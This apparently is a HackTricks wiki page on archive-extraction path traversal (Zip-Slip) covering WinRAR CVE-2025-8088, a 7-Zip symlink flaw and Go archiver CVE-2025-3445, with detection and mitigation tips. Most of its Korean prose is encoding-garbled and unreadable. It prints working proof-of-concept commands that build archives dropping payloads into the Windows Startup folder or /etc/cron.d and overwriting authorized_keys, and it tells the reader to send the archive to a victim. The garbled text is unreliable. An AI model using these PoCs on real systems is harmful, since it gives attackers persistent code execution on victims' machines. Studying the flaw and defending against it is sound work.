Archive Extraction Path Traversal (โ€œZip-Slipโ€ / WinRAR CVE-2025-8088)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

๋งŽ์€ ์•„์นด์ด๋ธŒ ํ˜•์‹(ZIP, RAR, TAR, 7-ZIP ๋“ฑ)์€ ๊ฐ ํ•ญ๋ชฉ์ด ์ž์ฒด ๋‚ด๋ถ€ ๊ฒฝ๋กœ๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ถ”์ถœ ์œ ํ‹ธ๋ฆฌํ‹ฐ๊ฐ€ ๊ทธ ๊ฒฝ๋กœ๋ฅผ ๋ฌด๋น„ํŒ์ ์œผ๋กœ ์‹ ๋ขฐํ•˜๋ฉด, ..์„ ํฌํ•จํ•˜๊ฑฐ๋‚˜ ์ ˆ๋Œ€ ๊ฒฝ๋กœ(์˜ˆ: C:\Windows\System32\)์ธ ์กฐ์ž‘๋œ ํŒŒ์ผ๋ช…์ด ์‚ฌ์šฉ์ž๊ฐ€ ์„ ํƒํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ–์— ์“ฐ์—ฌ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ์ทจ์•ฝ์„ฑ ๊ณ„์—ด์€ ๋„๋ฆฌ Zip-Slip ๋˜๋Š” archive extraction path traversal๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฒฐ๊ณผ๋Š” ์ž„์˜์˜ ํŒŒ์ผ ๋ฎ์–ด์“ฐ๊ธฐ๋ถ€ํ„ฐ Windows Startup ํด๋”์™€ ๊ฐ™์€ ์ž๋™ ์‹คํ–‰ ์œ„์น˜์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ฐฐ์น˜ํ•˜์—ฌ ์ง์ ‘ **remote code execution (RCE)**์„ ๋‹ฌ์„ฑํ•˜๋Š” ๊ฒƒ๊นŒ์ง€ ๋‹ค์–‘ํ•ฉ๋‹ˆ๋‹ค.

๊ทผ๋ณธ ์›์ธ

  1. ๊ณต๊ฒฉ์ž๋Š” ํ•˜๋‚˜ ์ด์ƒ์˜ ํŒŒ์ผ ํ—ค๋”์— ๋‹ค์Œ์„ ํฌํ•จํ•˜๋„๋ก ์•„์นด์ด๋ธŒ๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค:
  • ์ƒ๋Œ€ ๊ฒฝ๋กœ ํƒ์ƒ‰ ์‹œํ€€์Šค (..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe)
  • ์ ˆ๋Œ€ ๊ฒฝ๋กœ (C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe)
  • ๋˜๋Š” ๋Œ€์ƒ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ–์œผ๋กœ ํ•ด์„๋˜๋Š” ์กฐ์ž‘๋œ symlinks(์ฃผ๋กœ nix์˜ ZIP/TAR์—์„œ ํ”ํ•จ).
  1. ํ”ผํ•ด์ž๋Š” ์ž„๋ฒ ๋””๋“œ ๊ฒฝ๋กœ๋ฅผ ์ •ํ™”ํ•˜๊ฑฐ๋‚˜ ์„ ํƒํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์•„๋ž˜๋กœ ๊ฐ•์ œ ์ถ”์ถœํ•˜์ง€ ์•Š๊ณ  ํ•ด๋‹น ๊ฒฝ๋กœ๋ฅผ ์‹ ๋ขฐ(๋˜๋Š” symlinks๋ฅผ ๋”ฐ๋ผ๊ฐ)ํ•˜๋Š” ์ทจ์•ฝํ•œ ๋„๊ตฌ๋กœ ์•„์นด์ด๋ธŒ๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.
  2. ํŒŒ์ผ์ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์œ„์น˜์— ๊ธฐ๋ก๋˜๊ณ  ์‹œ์Šคํ…œ์ด๋‚˜ ์‚ฌ์šฉ์ž๊ฐ€ ํ•ด๋‹น ๊ฒฝ๋กœ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•  ๋•Œ ์‹คํ–‰/๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.

์‹ค์ œ ์‚ฌ๋ก€ โ€“ WinRAR โ‰ค 7.12 (CVE-2025-8088)

Windows์šฉ WinRAR( rar / unrar CLI, DLL ๋ฐ ํฌํ„ฐ๋ธ” ์†Œ์Šค ํฌํ•จ)๋Š” ์ถ”์ถœ ์ค‘ ํŒŒ์ผ๋ช…์„ ๊ฒ€์ฆํ•˜์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค.
๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ•ญ๋ชฉ์„ ํฌํ•จํ•œ ์•…์„ฑ RAR ์•„์นด์ด๋ธŒ:

..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe

์„ ํƒํ•œ ์ถœ๋ ฅ ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ๋ฐ–์— ์œ„์น˜ํ•˜๊ฒŒ ๋˜์–ด ์‚ฌ์šฉ์ž์˜ Startup ํด๋” ์•ˆ์œผ๋กœ ๋“ค์–ด๊ฐ‘๋‹ˆ๋‹ค. ๋กœ๊ทธ์˜จ ํ›„ Windows๋Š” ๊ทธ๊ณณ์— ์žˆ๋Š” ๋ชจ๋“  ํ•ญ๋ชฉ์„ ์ž๋™์œผ๋กœ ์‹คํ–‰ํ•˜์—ฌ persistent RCE๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

PoC ์•„์นด์ด๋ธŒ ์ œ์ž‘ (Linux/Mac)

# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*

์‚ฌ์šฉ๋œ ์˜ต์…˜:

  • -ep โ€“ ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์ฃผ์–ด์ง„ ๋Œ€๋กœ ์ •ํ™•ํžˆ ์ €์žฅ (์„ ํ–‰ ./๋ฅผ ์ œ๊ฑฐํ•˜์ง€ ๋งˆ์„ธ์š”).

evil.rar์„ ํ”ผํ•ด์ž์—๊ฒŒ ์ „๋‹ฌํ•˜๊ณ  ์ทจ์•ฝํ•œ WinRAR ๋นŒ๋“œ๋กœ ์••์ถ• ํ•ด์ œํ•˜๋„๋ก ์ง€์‹œํ•˜์„ธ์š”.

์‹ค์ œ๋กœ ๊ด€์ฐฐ๋œ ์•…์šฉ ์‚ฌ๋ก€

ESET๋Š” RomCom (Storm-0978/UNC2596)์˜ spear-phishing ์บ ํŽ˜์ธ์ด CVE-2025-8088์„ ์•…์šฉํ•œ RAR ์•„์นด์ด๋ธŒ๋ฅผ ์ฒจ๋ถ€ํ•˜์—ฌ customised backdoors๋ฅผ ๋ฐฐํฌํ•˜๊ณ  ransomware ์ž‘์ „์„ ์šฉ์ดํ•˜๊ฒŒ ํ–ˆ๋‹ค๊ณ  ๋ณด๊ณ ํ–ˆ์Šต๋‹ˆ๋‹ค.

์ตœ์‹  ์‚ฌ๋ก€ (2024โ€“2025)

  • Bug: ZIP entries that are symbolic links were dereferenced during extraction, letting attackers escape the destination directory and overwrite arbitrary paths. User interaction is just opening/extracting the archive.
  • Affected: 7-Zip 21.02โ€“24.09 (Windows & Linux builds). Fixed in 25.00 (July 2025) and later.
  • Impact path: Overwrite Start Menu/Programs/Startup or service-run locations โ†’ code runs at next logon or service restart.
  • Quick PoC (Linux):
mkdir -p out
ln -s /etc/cron.d evil
zip -y exploit.zip evil   # -y preserves symlinks
7z x exploit.zip -o/tmp/target   # vulnerable 7-Zip writes to /etc/cron.d

ํŒจ์น˜๋œ ๋นŒ๋“œ์—์„œ๋Š” /etc/cron.d๊ฐ€ ์†์ƒ๋˜์ง€ ์•Š์œผ๋ฉฐ, symlink๋Š” /tmp/target ๋‚ด๋ถ€์— ๋งํฌ๋กœ ์ถ”์ถœ๋ฉ๋‹ˆ๋‹ค.

Go mholt/archiver Unarchive() Zip-Slip (CVE-2025-3445)

  • Bug: archiver.Unarchive() follows ../ and symlinked ZIP entries, writing outside outputDir.
  • Affected: github.com/mholt/archiver โ‰ค 3.5.1 (project now deprecated).
  • Fix: Switch to mholt/archives โ‰ฅ 0.1.0 or implement canonical-path checks before write.
  • Minimal reproduction:
// go test . with archiver<=3.5.1
archiver.Unarchive("exploit.zip", "/tmp/safe")
// exploit.zip holds ../../../../home/user/.ssh/authorized_keys

ํƒ์ง€ ํŒ

  • Static inspection โ€“ ์•„์นด์ด๋ธŒ ํ•ญ๋ชฉ์„ ๋‚˜์—ดํ•˜๊ณ  ์ด๋ฆ„์— ../, ..\\, ์ ˆ๋Œ€ ๊ฒฝ๋กœ (/, C:)๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ ๋˜๋Š” ์ถ”์ถœ ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ–์„ ๊ฐ€๋ฆฌํ‚ค๋Š” symlink ํƒ€์ž… ํ•ญ๋ชฉ์ด ์žˆ๋Š”์ง€ ํ”Œ๋ž˜๊ทธํ•ฉ๋‹ˆ๋‹ค.
  • Canonicalisation โ€“ realpath(join(dest, name))๊ฐ€ ์—ฌ์ „ํžˆ dest๋กœ ์‹œ์ž‘ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ๊ฑฐ๋ถ€ํ•ฉ๋‹ˆ๋‹ค.
  • Sandbox extraction โ€“ ์ผํšŒ์„ฑ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ์•ˆ์ „ํ•œ ์ถ”์ถœ๊ธฐ(์˜ˆ: bsdtar --safe --xattrs --no-same-owner, 7-Zip โ‰ฅ 25.00)๋ฅผ ์‚ฌ์šฉํ•ด ์••์ถ•์„ ํ’€๊ณ  ๊ฒฐ๊ณผ ๊ฒฝ๋กœ๊ฐ€ ๋””๋ ‰ํ† ๋ฆฌ ๋‚ด๋ถ€์— ๋จธ๋ฌด๋ฅด๋Š”์ง€ ๊ฒ€์ฆํ•˜์„ธ์š”.
  • Endpoint monitoring โ€“ WinRAR/7-Zip/etc.์œผ๋กœ ์•„์นด์ด๋ธŒ๋ฅผ ์—ฐ ์งํ›„ Startup/Run/cron ์œ„์น˜์— ์ƒˆ ์‹คํ–‰ ํŒŒ์ผ์ด ์“ฐ์ด๋Š” ๊ฒฝ์šฐ ๊ฒฝ๋ณด๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.

์™„ํ™” ๋ฐ ๊ฐ•ํ™”

  1. Update the extractor โ€“ WinRAR 7.13+ and 7-Zip 25.00+๋Š” ๊ฒฝ๋กœ/์‹ฌ๋ณผ๋ฆญ ๋งํฌ ์ •ํ™”๋ฅผ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๋„๊ตฌ ๋ชจ๋‘ ์ž๋™ ์—…๋ฐ์ดํŠธ๋Š” ์ œ๊ณตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  2. ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ์•„์นด์ด๋ธŒ๋ฅผ โ€œDo not extract pathsโ€ / โ€œIgnore pathsโ€ ์˜ต์…˜์œผ๋กœ ์ถ”์ถœํ•˜์„ธ์š”.
  3. Unix์—์„œ๋Š” ์ถ”์ถœ ์ „์— ๊ถŒํ•œ์„ ๋‚ฎ์ถ”๊ณ  chroot/namespace๋ฅผ ๋งˆ์šดํŠธํ•˜์„ธ์š”; Windows์—์„œ๋Š” AppContainer๋‚˜ ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  4. ์ปค์Šคํ…€ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๊ฒฝ์šฐ, ์ƒ์„ฑ/์“ฐ๊ธฐ ์ „์— realpath()/PathCanonicalize()๋กœ ์ •๊ทœํ™”ํ•˜๊ณ  ๋Œ€์ƒ ๊ฒฝ๋กœ๋ฅผ ๋ฒ—์–ด๋‚˜๋Š” ํ•ญ๋ชฉ์€ ๊ฑฐ๋ถ€ํ•˜์„ธ์š”.

์ถ”๊ฐ€ ์˜ํ–ฅ/์—ญ์‚ฌ์  ์‚ฌ๋ก€

  • 2018 โ€“ Snyk์˜ ๋Œ€๊ทœ๋ชจ Zip-Slip ๊ถŒ๊ณ ๋กœ ๋งŽ์€ Java/Go/JS ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์˜ํ–ฅ๋ฐ›์Œ.
  • 2023 โ€“ 7-Zip CVE-2023-4011, -ao ๋ณ‘ํ•ฉ ์ค‘ ์œ ์‚ฌํ•œ traversal.
  • 2025 โ€“ HashiCorp go-slug (CVE-2025-0377) slugs ๋‚ด TAR ์ถ”์ถœ traversal (v1.2์—์„œ ํŒจ์น˜).
  • ์“ฐ๊ธฐ ์ „์— PathCanonicalize / realpath๋ฅผ ํ˜ธ์ถœํ•˜์ง€ ์•Š๋Š” ๋ชจ๋“  ์ปค์Šคํ…€ ์ถ”์ถœ ๋กœ์ง.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ